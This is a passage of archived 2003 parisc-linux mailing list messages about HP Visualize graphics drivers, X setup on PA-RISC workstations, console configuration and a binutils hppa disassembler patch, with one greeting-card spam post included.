>>ready then (I think it is now). The gfx driver interacts *alot*
>>with the rest of the kernel *and* the X11 server.
>>The above is what I remember from conversations with people.
>>
>>> The files are at
>>>
>>>
>>ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
>>> c.rpm
>>> and
>>>
>>ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
>>> c.rpm
>>
>>uhm...'cuse me, but aren't those the same?
>>
>>hth
>>grant
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>
>---------------------------------
>Vous surfez avec une ligne classique ?
>Faites des economies avec Tiscali Complete
>... Plus d'info sur http://complete.tiscali.be
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X problems...
Date: Fri, 21 Feb 2003 18:09:40 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <3E484410000030DB@ocpmta7.freegates.net>
References: <3E5658C4.30003@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622230 21977 80.91.229.3 (22 Nov 2014 02:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:30 +0000 (UTC)
To: =?ISO-8859-1?Q?R=FCdiger=20Scholz?= <r.scholz@bluehash.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 10:09:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00261484D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 10:09:41 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18mGg8-0003hu-00; Fri, 21 Feb 2003 18:09:40 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 21 Feb 2003 18:09:40 +0100
In-Reply-To: <3E5658C4.30003@bluehash.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17760

>-- Original Message --
>Date: Fri, 21 Feb 2003 17:50:12 +0100
>From: Rdiger Scholz <r.scholz@bluehash.de>
>To: Joel Soete <jsoe0708@tiscali.be>, 
> parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] X problems...
>
>
>Joel Soete wrote:
>
>>Hi Dan,
>>
>>I also install a b2k with linux, also I am very interrested by your information.
>>
>>I so download rpms that you mentionned and install it.
>>
>>I just first notice that they are just different revision of the kernel
>>module for hpgfx :). But, after a quick search on google, I read that it
>>must exists somewhere a set of user space tools as FXconfig.sh (to config
>>XFree86 if I well understand). Any info about this?
>>  
>>
>Using Google, I found this URL:
>
>http://www.msclinux.com/software/msclinux/installcd_packages_july2002-i686/msclinux-i686-July2002-installation-RPMS-hpgraphics-1.5.3.k24-3.msc.i686.rpm.html
>
>Hope it helps,
>    Rdiger
>
>

hi hi I just follow the same and up in ftp link to finaly locate:

<ftp://ftp.msclinux.com/msclinux/i686/current/SRPMS/hpgraphics-1.5.3.2.4.18-9.msc.src.rpm>

(i will have a look but doubt that i386 asm was remove)

Thanks a lot,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: X on C240
Date: Fri, 21 Feb 2003 22:39:00 +0100
Organization: ESIEE
Lines: 41
Approved: news@gmane.org
Message-ID: <20030221223900.32603772.varenet@esiee.fr>
References: <14464.1045418470@www16.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622231 21979 80.91.229.3 (22 Nov 2014 02:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:31 +0000 (UTC)
To: adrian.criveanu@gmx.co.uk, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 14:39:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 739A0483C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 14:39:39 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.7/8.12.7) with SMTP id h1LLdakC011050;
	Fri, 21 Feb 2003 22:39:37 +0100
In-Reply-To: <14464.1045418470@www16.gmx.net>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17761

On Sun, 16 Feb 2003 19:01:10 +0100 (MET)
adrian.criveanu@gmx.co.uk wrote:

> Dear Sir,
> 
> I apologise for writing you directly but I've seen your name a lot of times
> in the mail lists I looked for an answer ... You know how it happens... If
> you are nice and help people, they keep bothering you :)
Well, I know but you would probably have had a quicker answer by posting on the m-l directly, since I was on vacation till tonight.

For what it's worth, you should avoid (as anybody else) posting directly to people, please consider the mess if everybody does so... Usually I don't answer direct mails ;P

That's why I'm CCing the m-l anyway.
> 
> I tried to install 3.0r0 from the CDs. When I used the graphics card, it
> didn't go too far and gave me an HPMC (I saw a mail from somebody with a  B1000
> which had the same problem). I managed to install Debian only using the
> serial console. IN one of your messages you said thet Vis-EG is supported. My C240
> has a A4450A card (Vis-EG) and it seems it doesn't work with Debian. 
If I remember correctly, 3.0r0 doesn't support B1000. You should use one of our netinsts.
http://pateam.esiee.fr/download.html
> 
> Unfortunately I wasn't able to find a way to use it on my workstation. Is is
> supported or do I need a PCI version of it? Regardless of the answer, is
> there anywhere a good documentation on how to configure these cards for Debian?
The only thing you need is STIFB support and a proper X configuration (that is, one that respects your kernel framebuffer device setup (see the mailing-list archive for details and the PA/Linux Boot Howto:
http://pateam.esiee.fr/doc.html)
> 
> Thank you very much.
You're welcome.
> 
> Regards,
> 
> Adrian
> 


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot console wrong.
Date: Sat, 22 Feb 2003 06:08:58 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <3E5713FA.E614F2EC@optushome.com.au>
References: <3E55A3FC.C06BFE43@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622231 21981 80.91.229.3 (22 Nov 2014 02:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:31 +0000 (UTC)
To: PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 16:30:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jumpgate.home.net.au (c16844.fernt1.vic.optusnet.com.au [210.49.203.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDC524843
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 16:30:38 -0700 (MST)
Original-Received: from localhost (jumpgate.home.net.au [127.0.0.1])
	by jumpgate.home.net.au (Postfix) with ESMTP id 0307C62E53
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Feb 2003 10:30:35 +1100 (EST)
Original-Received: from optushome.com.au (shadow.home.net.au [192.168.3.130])
	by jumpgate.home.net.au (Postfix) with ESMTP id 300FC62E52
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Feb 2003 10:30:07 +1100 (EST)
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,Thai
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17762

    Thank you people ;o)

    The consol is now back to graphic card, and debian is loading further
than I have previously had it loading ;o)

    Just have to get gdm to run after configuring it.

Rod Smart wrote:

>     Hello list, long time no talk here.
>
>     I have a C-180 and when in the Main Menu (booting) I have previously
> setup the Console path to Serial, what input do I need to set it back to
> normal console (Keyboard/screen) ?
>
> > Main Menu: Enter command > pa con
> >
> >   Console path:         SERIAL_1.9600.8.none
> >
>
>     I have installed Debian through this console, and would like to play
> with it the usual way now ;o)
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: caslivkoff@speakeasy.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X problems...
Date: Fri, 21 Feb 2003 17:48:40 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <20030222014840.12429.qmail@webmail.speakeasy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: binary
X-Trace: ger.gmane.org 1416622231 21984 80.91.229.3 (22 Nov 2014 02:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dan Baker <dan_baker@eli.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 21 18:48:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.speakeasy.net (webmail3.speakeasy.net [216.254.0.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD5654851
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Feb 2003 18:48:41 -0700 (MST)
Original-Received: (qmail 12430 invoked by uid 99); 22 Feb 2003 01:48:40 -0000
Content-Disposition: inline
X-Sender: caslivkoff@speakeasy.net
X-Originating-Ip: [atlwebproxy2.core.hp.com]
X-Mailer: Speakeasy Network Webmail 2.1.0
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17763

On 19 Feb 2003, Grant Grundler wrote:

> On Wed, Feb 19, 2003 at 05:42:29PM -0800, Dan
> Baker wrote:
> > BUT, I did download source code for HP's
> > Intel linux visualize driver. I can't get it
> > to compile, the assembler tells me there's
> > an invalid opcode (??) in the .o file. I'm
> > not really a programmer, so I'm hoping
> > somebody out there can take a look at what
> > they're doing and fix it.

Getting this code to compile is not going to get you anywhere.

> Well, it's not that easy even for someone who
> can read C.
>
> First, some bad news: o x86 version of the
> card has extra VGA cruft+BIOS. PA-Risc version
> uses STI firmware for initialization. o IIRC,
> the X11 server (or maybe just gfx card
> driver?) is a custom, closed source code.
> Hopefully I'm wrong and someone will correct
> me. o I'll guess that many (most of the?)
> interesting bits are in the XF86 hpgfx driver
> module. I'm assuming one exists.

The X server support for the FX4/FX6 on IA32 was accomplished by a port of Xhp (the HP-UX X server) to Linux.   Besides Xhp, the HP-UX OpenGL implementation was ported for 3D. Only the "+" or "pro" versions of these boards were supported. (I have an earlier FX4 which I've never been able to get working under Linux.) Both Xhp and the HP OGL are closed source.

A kernel module was needed to interract with the FX4/FX6 similar to the DRI support in XFree86. If you had upgraded your kernel on one of these IA-32 "Visualize" boxes from the stock Red Hat release, you would have needed to re-compile this module. This is the extent of the source code that was provided.

As Grant mentioned, these FX4/FX6 boards were NOT the same as the PA versions. They had a VGA BIOS added (via a daughter card) and took-up both an AGP and PCI slot.

> Good news: 3d acceleration for x86 cards uses
> the same RISC engines as the parisc cards.

PA-8000's I believe. 1 on the FX2, 2 on the FX4, 3 on the FX6.

> Several years ago I asked someone in the HP
> gfx group if they could port the HPUX driver
> to parisc-linux but our port wasn't ready then
> (I think it is now). The gfx driver interacts
> *alot* with the rest of the kernel *and* the
> X11 server. The above is what I remember from
> conversations with people.

While I believe it is possible, resources in the graphics lab are scarse. I suspect that a majority of the code could never be made public, so even if the lab found time to do it once, it would be tough to keep it maintained, etc.



From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X problems...
Date: Sat, 22 Feb 2003 19:46:29 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20030223024629.GA4464@dsl2.external.hp.com>
References: <20030220051506.GA10418@dsl2.external.hp.com> <3E54DBA200000169@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622232 21987 80.91.229.3 (22 Nov 2014 02:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 22 19:46:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 934E0483F; Sat, 22 Feb 2003 19:46:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E54DBA200000169@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17764

On Thu, Feb 20, 2003 at 06:05:34PM +0100, Joel Soete wrote:
> Do you think it could be now find into XFree86 kernel drivers?

I don't know. I was pretty sure the X11.org code had basic support
for parisc graphics cards. But I'm not sure it covered the latest
generation (FX[2456]). No clue is XFree86 picked those up or not.

BTW, in another email you noted the source was only supporting 2.2 kernel.
That makes sense to me since I didn't see the driver using
pci_dma* routines. Without using those routines, I don't expect
the code to work on any parisc machines.

grant


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X problems...
Date: Sat, 22 Feb 2003 19:52:13 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030223025213.GB4464@dsl2.external.hp.com>
References: <20030222014840.12429.qmail@webmail.speakeasy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622232 21990 80.91.229.3 (22 Nov 2014 02:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:32 +0000 (UTC)
Cc: Dan Baker <dan_baker@eli.net>,
	parisc-linux@lists.parisc-linux.org
To: caslivkoff@speakeasy.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 22 19:52:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 118C34840; Sat, 22 Feb 2003 19:52:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030222014840.12429.qmail@webmail.speakeasy.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17765

On Fri, Feb 21, 2003 at 05:48:40PM -0800, caslivkoff@speakeasy.net wrote:
> Getting this code to compile is not going to get you anywhere.

understood...just a step in that direction.

...
> While I believe it is possible, resources in the graphics lab are scarse.
> I suspect that a majority of the code could never be made public, so even
> if the lab found time to do it once, it would be tough to keep it
> maintained, etc.

If someone quietly passed me working code that I could publish,
they wouldn't have to maintain it. I'm confident the folks who
got STI FB working could also keep this working.

But I'm afraid resources is a moot point: it's unlikely
to get permission to get published. :^(

thanks chuck,
grant


From - Thu Nov 08 21:26:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dezone@sina.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dezone sent you a card from NiceCards!
Date: 23 Feb 2003 11:59:16 -0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20030223115916.16110.qmail@e74.friendfinder.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622232 21993 80.91.229.3 (22 Nov 2014 02:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:32 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 23 04:59:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail172 (e66.friendfinder.com [216.34.38.66])
	by dsl2.external.hp.com (Postfix) with SMTP id 0FB604844
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Feb 2003 04:59:23 -0700 (MST)
Original-Received: (qmail 17711 invoked by uid 0); 23 Feb 2003 11:59:16 -0000
Original-Received: from unknown (HELO e74.friendfinder.com) (216.34.38.66)
  by ef172.friendfinderinc.com with SMTP; 23 Feb 2003 11:59:16 -0000
Original-Received: (qmail 16117 invoked by uid 65534); 23 Feb 2003 11:59:16 -0000
X-FF-Special: t
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17766

Dear parisc-linux,

Guess what?  dezone (dezone@sina.com) has sent you a greeting card!

Your card can be picked up by clicking on the following link:

http://nicecards.com/card/4080194-HFKUQ

or

By going to our card pick-up page at:

http://nicecards.com/

and entering in the following card ID: 4080194-HFKUQ

Thank you!

team@nicecards.com
NiceCards

Note: Your card will be kept in our card center for two weeks.  After two
weeks, your card will be deleted.

====================================================================
Try out these other great sites in the NiceCards network!

    http://friendfinder.com - Dating and friendship personals
    http://asiafriendfinder.com - Chinese personals
    http://frenchfriendfinder.com - French personals
    http://koreanfriendfinder.com - Korean personals
    http://germanfriendfinder.com - German personals
    http://amigos.com - Spanish personals
    http://seniorfriendfinder.com - Senior personals
    http://churchfriendfinder.com - Christian/spiritual personals
    http://adultfriendfinder.com - Adults only personals
    http://outpersonals.com - Gay personals
    http://sharerent.com - Roommate/housing directory
    http://friendpages.com - Free homepages
    http://friendparty.com - Free party invites and photo sharing
    http://dine.com - Free restaurant reviews and menus


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] space register 0 changes for hppa
Date: Sun, 23 Feb 2003 18:58:47 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20030223185847.C2938__26265.1971345351$1416622233$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622233 21996 80.91.229.3 (22 Nov 2014 02:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: binutils@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 23 11:58:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 336AC484B
	for <parisc-linux@parisc-linux.org>; Sun, 23 Feb 2003 11:58:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18n1Kp-0001xQ-00; Sun, 23 Feb 2003 18:58:47 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17767

Hi.  I believe I should still have a copyright assignment on file.

Index: opcodes/ChangeLog
===================================================================
RCS file: /cvs/src/src/opcodes/ChangeLog,v
retrieving revision 1.547
diff -u -p -r1.547 ChangeLog
--- opcodes/ChangeLog	12 Feb 2003 22:33:59 -0000	1.547
+++ opcodes/ChangeLog	23 Feb 2003 18:54:00 -0000
@@ -1,3 +1,9 @@
+2003-02-23  Matthew Wilcox  <willy@debian.org>
+
+	* hppa-dis.c: Do not emit a space register if the space register
+	field is 2 bits and the value is 0 as this is implicit addressing,
+	not use of space register 0.
+
 2003-02-12  Dave Brolley  <brolley@redhat.com>
 
 	* fr30-desc.c: Regenerate.
Index: opcodes/hppa-dis.c
===================================================================
RCS file: /cvs/src/src/opcodes/hppa-dis.c,v
retrieving revision 1.41
diff -u -p -r1.41 hppa-dis.c
--- opcodes/hppa-dis.c	31 Dec 2001 23:44:08 -0000	1.41
+++ opcodes/hppa-dis.c	23 Feb 2003 18:54:00 -0000
@@ -541,8 +541,11 @@ print_insn_hppa (memaddr, info)
 		  fput_const (extract_5_load (insn), info);
 		  break;
 		case 's':
-		  (*info->fprintf_func) (info->stream,
-					 "sr%d", GET_FIELD (insn, 16, 17));
+		  {
